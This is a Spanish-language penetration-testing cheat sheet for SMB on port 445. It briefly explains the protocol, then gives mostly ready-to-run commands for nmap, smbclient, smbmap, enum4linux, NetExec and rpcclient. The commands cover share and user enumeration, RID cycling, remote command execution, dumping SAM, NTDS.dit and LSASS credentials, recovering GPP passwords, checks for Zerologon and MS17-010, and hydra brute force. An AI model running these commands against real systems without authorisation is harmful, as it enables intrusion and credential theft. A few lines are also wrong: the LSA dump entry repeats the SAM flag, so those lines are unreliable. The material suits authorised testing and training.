SMB (445)
SMB (Server Message Block) es un protocolo diseñado para la compartición de archivos en red, facilitando la interconexión de archivos y periféricos como impresoras y puertos serie entre ordenadores dentro de una red local (LAN).
- SMB utiliza el puerto 445 (TCP). Sin embargo, originalmente, SMB se ejecutaba sobre NetBIOS utilizando puerto 139.
- SAMBA es una implementación de código abierto para Linux del protocolo SMB (Server Message Block), que facilita la interoperabilidad entre sistemas Linux y Windows. Permite a los equipos con Windows acceder a recursos compartidos en sistemas Linux, y a su vez, posibilita que dispositivos Linux accedan a recursos compartidos en redes Windows.
El protocolo SMB utiliza dos niveles de autenticación, a saber:
- Autenticación de usuario: los usuarios deben proporcionar un nombre de usuario y una contraseña para autenticarse con el servidor SMB para acceder a un recurso compartido.
- Autenticación de recurso compartido: los usuarios deben proporcionar una contraseña para acceder a un recurso compartido restringido.
Nmap
Scripts de nmap
utiles para este servicio:
- smb-ls
- smb-protocols
- smb-security-mode
- smb-enum-sessions
- smb-enum-shares
- smb-enum-users
- smb-enum-groups
- smb-enum-domains
- smb-enum-services
Sintaxis:
sudo nmap -p445 --script <script> <RHOST>
smbclient
Es un cliente que nos permite acceder a recursos compartidos en servidores SMB.
# Lista recursos compartidos
smbclient -L <RHOST> -N
# Conexión utilizando una sesión nula
smbclient //<RHOST>/Public -N
# Realiza una conexión con el usuario elliot
smbclient //<RHOST>/Public -U elliot
smbmap
SMBMap permite a los usuarios enumerar las unidades compartidas samba en todo un dominio. Enumera las unidades compartidas, los permisos de las unidades, el contenido compartido, la funcionalidad de carga/descarga, la coincidencia de patrones de descarga automática de nombres de archivo e incluso la ejecución de comandos remotos.
# Utiliza un usuario de invitado (guest) con una contraseña en blanco para
# autenticarse en el objetivo especificado por <RHOST>.
# -d indica el dominio actual.
smbmap -u guest -p "" -d . -H <RHOST>
# Autentica con un usuario y contraseña específicos (<USER> y <PASSWORD>)
# en el objetivo (<RHOST>).
# -L lista los recursos compartidos disponibles en la máquina.
smbmap -u <USER> -p <PASSWORD> -H <RHOST> -L
# Autentica en el objetivo y muestra la lista de archivos y
# carpetas en la unidad C$ de forma recursiva.
smbmap -u <USER> -p <PASSWORD> -H <RHOST> -r 'C$'
# Autentica y sube un archivo desde la ubicación local /root/file
# al recurso compartido C$ en el objetivo.
smbmap -H <RHOST> -u <USER> -p <PASSWORD> --upload '/root/file' 'tmp/file'
# Autentica y descarga el archivo 'file' desde el recurso compartido tmp
# en el objetivo.
smbmap -H <RHOST> -u <USER> -p <PASSWORD> --download 'tmp/file'
# Autentica en el objetivo y ejecuta el comando ipconfig en el sistema remoto
# usando SMB.
smbmap -u <USER> -p <PASSWORD> -H <RHOST> -x 'ipconfig'
enum4linux
Enum4linux es una herramienta utilizada para extraer información de hosts de Windows y Samba. La herramienta está escrita en Perl y envuelta en herramientas de samba smbclient
, rpcclient
, net
y nslookup
.
# -o indica que se realizará una enumeración básica.
enum4linux -o <RHOST>
# -U indica que se realizará una enumeración de usuarios
enum4linux -U <RHOST>
# -G indica que se realizará una enumeración de grupos
enum4linux -G <RHOST>
# -S indica que se realizará una enumeración de los recursos compartidos
enum4linux -S <RHOST>
# -i Comprueba si el servidor smb esta configurado para imprimir
enum4linux -i <RHOST>
# -r Intentará enumerar usuarios utilizando RID cycling en el sistema remoto.
# -u Especifica el nombre de usuario que se utilizará para la autenticación.
# -p Especifica la contraseña asociada al usuario proporcionado con la opción -u.
enum4linux -r -u <user> -p <password> <RHOST>
Netexec
Netexec, anteriormente conocido como CrackMapExec (CME), es una herramienta de código. que permite automatizar tareas relacionadas con la enumeración y explotación de sistemas Windows y Linux, como la ejecución de comandos remotos, la obtención de credenciales y la evaluación de la seguridad en entornos de redes grandes. Netexec permite realizar tareas de forma masiva en múltiples sistemas a la vez, facilitando la identificación de vulnerabilidades y configuraciones incorrectas en una red.
# Enumerar hosts
nxc smb <target>/24
# comprobar null sessions
nxc smb <target> -u '' -p ''
# comprobar Guest login
nxc smb <target> -u 'guest' -p ''
# enumerar hosts con firma SMB no requerida
nxc smb <target>/24 --gen-relay-list relay_list.txt
# enumerar recursos compartidos usando una null session
nxc smb <target> -u '' -p '' --shares
# enumerar recursos compartidos de lectura/escritura en múltiples IPs con/sin credenciales
nxc smb <target> -u <user> -p <password> --shares --filter-shares READ WRITE
# enumera sesiones activas en la máquina objetivo
nxc smb <target> -u <user> -p <password> --sessions
# enumera los discos duros
nxc smb <target> -u <user> -p <password> --disks
# enumera las computadoras en el dominio
nxc smb <target> -u <user> -p <password> --computers
# enumera los usuarios logueados
nxc smb <target> -u <user> -p <password> --loggedon-users
# enumera usuarios del dominio
nxc smb <target> -u <user> -p <password> --users
# enumera grupos del dominio
nxc smb <target> -u <user> -p <password> --groups
# enumera los grupos locales de la máquina
nxc smb <target> -u <user> -p <password> --local-group
# enumera usuarios por fuerza bruta de RID. Por defecto el valor de RID máximo es 4000.
nxc smb <target> -u <user> -p <password> --rid-brute [MAX-RID]
# enumera la politica de contraseña
nxc smb <target> -u <user> -p <password> --pass-pol
# emite la consulta WMI especificada
nxc smb <target> -u <user> -p <password> --wmi
# WMI Namescape (default: root\cimv2)
nxc smb <target> -u <user> -p <password> --wmi-namespace
# Recupera la contraseña en texto claro y otra información de las cuentas distribuidas mediante las Group Policy Preferences (GPP).
nxc smb <target> -u <user> -p <password> -M gpp_password
# Busca en el controlador de dominio el archivo registry.xml para encontrar información de auto-login y devuelve el nombre de usuario y la contraseña.
nxc smb <target> -u <user> -p <password> -M gpp_autologin
# Buscar un patrón en un recurso compartido remoto.
nxc smb <target> -u <user> -p <password> --spider <share_name> --pattern <pattern>
# Buscar en un recurso compartido remoto usando expresiones regulares.
nxc smb <target> -u <user> -p <password> --spider <share_name> --regex <regex>
# Habilita la búsqueda de contenido. Puede combinarse con --pattern o --regex.
nxc smb <target> -u <user> -p <password> --spider <share_name> --content
# Obtener un archivo remoto desde una carpeta compartida.
nxc smb <target> -u <user> -p <password> --share <share_name> --get-file <remote_filename> <output_filename>
# Subir un archivo local a una ubicación remota.
nxc smb <target> -u <user> -p <password> --share <share_name> --put-file <local_filename> <remote_filename>
# Crea un archivo que contiene la información de los recursos compartidos y los archivos. Podemos añadir la opción EXCLUDE_DIR para evitar que busque dentro de carpetas compartidas específicas.
nxc smb <target> -u <user> -p <password> -M spider_plus -o EXCLUDE_DIR=IPC$,print$,NETLOGON,SYSVOL
# Descargar todos los archivos de todas las carpetas compartidas.
nxc smb <target> -u <user> -p <password> -M spider_plus -o READ_ONLY=false
# Ejecutar comandos CMD en el objetivo.
nxc smb <target> -u <user> -p <password> -x <command>
# Ejecutar comandos PowerShell en el objetivo.
nxc smb <target> -u <user> -p <password> -x <command>
# Volcar el SAM en el objetivo.
nxc smb <target> -u <user> -p <password> --sam
# Volcar el LSA en el objetivo.
nxc smb <target> -u <user> -p <password> --sam
# Volcar el NTDS.dit en el controlador de dominio usando el método drsuapi.
nxc smb <target> -u <user> -p <password> --ntds
# Volcar el NTDS.dit en el controlador de dominio usando el método VSS.
nxc smb <target> -u <user> -p <password> --ntds vss
# Volcar la memoria del procesos LSASS con lsassy
nxc smb <target> -u <user> -p <password> -M lsassy
# Volcar la memoria del procesos LSASS con procdump
nxc smb <target> -u <user> -p <password> -M procdump
# Volcar la memoria del procesos LSASS con handlekatz
nxc smb <target> -u <user> -p <password> -M handlekatz
# Volcar la memoria del procesos LSASS con nanodump
nxc smb <target> -u <user> -p <password> -M nanodump
# Comprobar si el DC es vulnerable a Zerologon (CVE-2020-1472)
nxc smb <target> -u <user> -p <password> -M Zerologon
# Comprobar si el DC es vulnerable a PetitPotam
nxc smb <target> -u <user> -p <password> -M PetitPotam
# Comprobar si el objetivo es vulnerable a MS17-010
nxc smb <target> -u <user> -p <password> -M ms17-010
# Verifica si el DC (Controlador de Dominio) es vulnerable a CVE-2021-42278 y CVE-2021-42287 para suplantar a DA (Administrador de Dominio) desde un usuario estándar del dominio.
nxc smb <target> -u <user> -p <password> -M nopac
# Verificar si el DC es vulnerable a DFSCocerc
nxc smb <target> -u <user> -p <password> -M dfscoerce
# Verificar si el objetivo es vulnerable a ShadowCoerce.
nxc smb <target> -u <user> -p <password> -M shadowcoerce
Rpcclient es una utilidad que forma parte del conjunto de herramientas Samba. Se utiliza para interactuar con el protocolo Remote Procedure Call (RPC) de Microsoft, que se utiliza para la comunicación entre los sistemas basados en Windows y otros dispositivos. rpcclient se utiliza principalmente para fines de depuración y pruebas, y se puede utilizar para consultar y manipular sistemas remotos.
El protocolo SMB se utiliza principalmente para compartir archivos, impresoras y otros recursos en una red, pero también puede aprovechar RPC para ciertas funcionalidades y operaciones específicas.
Por ejemplo, cuando accedes a recursos compartidos en una red Windows, como carpetas compartidas o impresoras, estás utilizando el protocolo SMB. Sin embargo, para algunas operaciones administrativas y de gestión, como enumerar usuarios y grupos, modificar permisos de archivos o impresoras, o acceder a la configuración del sistema remoto, SMB puede utilizar RPC para realizar estas tareas.
Cuando utilizas herramientas como rpcclient
para interactuar con un sistema remoto que ejecuta servicios SMB, estás esencialmente aprovechando el protocolo RPC subyacente que forma parte de la implementación de SMB en ese sistema. De esta manera, rpcclient
puede actuar como una interfaz para realizar consultas y ejecutar comandos a través del protocolo RPC en el contexto de un servidor SMB.
# obtener información sobre el sistema remoto, como el nombre del servidor,
# la versión del sistema operativo, el dominio de trabajo, la fecha y la hora del sistema, entre otros datos.
rpcclient -U "" -N <RHOST> -c "srvinfo"
# enumera los usuarios del dominio
rpcclient -U "" -N <RHOST> -c "enumdomusers"
# enumera los grupos del dominio
rpcclient -U "" -N <RHOST> -c "enumdomgroups"
# obtiene el SID del usuario en base a su nombre
rpcclient -U "" -N <RHOST> -c "lookupnames root"
# Se utiliza para enumerar los SID (Security Identifiers) asignados a los grupos
# en un servidor remoto. Es útil para obtener información sobre los grupos de
# seguridad disponibles en un sistema y sus respectivos SID.
rpcclient -U "" -N <RHOST> -c "lsaenumsid"
# Buscar posible información en la descripción del usuario
for user in $(cat ad_users.txt); do rpcclient -U '' -N megabank.local -c "queryuser $user"; done | grep -E "User Name|Description"
El parámetro -c
en rpcclient
se utiliza para especificar un comando o una secuencia de comandos que se ejecutarán en el servidor remoto una vez que se haya establecido la conexión. Esto permite realizar operaciones específicas de forma automática sin necesidad de interactuar manualmente con rpcclient
después de establecer la conexión.
La sintaxis básica del parámetro -c
es la siguiente:
rpcclient -U username //<RHOST> -c "command1; command2; command3"
RID Cycling Attack
seq 1 5000 | xargs -P 50 -I{} rpcclient -U "" 30.30.30.4 -N -c "lookupsids S-1-22-1-{}" 2>&1
SMB desde Windows
# listar recursos compartidos
net share
# borrar el recurso compartido
net use * \delete
# montar el recurso compartido
net use z: \\<RHOST>\c$ <password> /user:<username>
# /all nos permite ver los recursos compartidos administrativos (que terminan en '$').
# Puede usar IP o nombre de host para especificar el host.
net view \\<RHOST> /all
Recursos compartidos comunes en Windows:
C$
corresponde a C:/ADMIN$
se asigna a C:/WindowsIPC$
se utiliza para RPCPrint$
aloja controladores para impresoras compartidasSYSVOL
sólo en DCsNETLOGON
sólo en los DC
Interactuar con el cliente SMB
smb: \> help # muestra la ayuda
smb: \> ls # listar archivos
smb: \> put file.txt # subir un archivo
smb: \> get file.txt # descargar un archivo
Montar una recurso compartido
mount -t cifs -o "username=user,password=password" //<RHOST>/share /mnt/share
Fuerza bruta de credenciales
nmap --script smb-brute -p 445 <RHOST>
hydra -l admin -P /usr/share/wordlist/rockyou.txt <RHOST> smb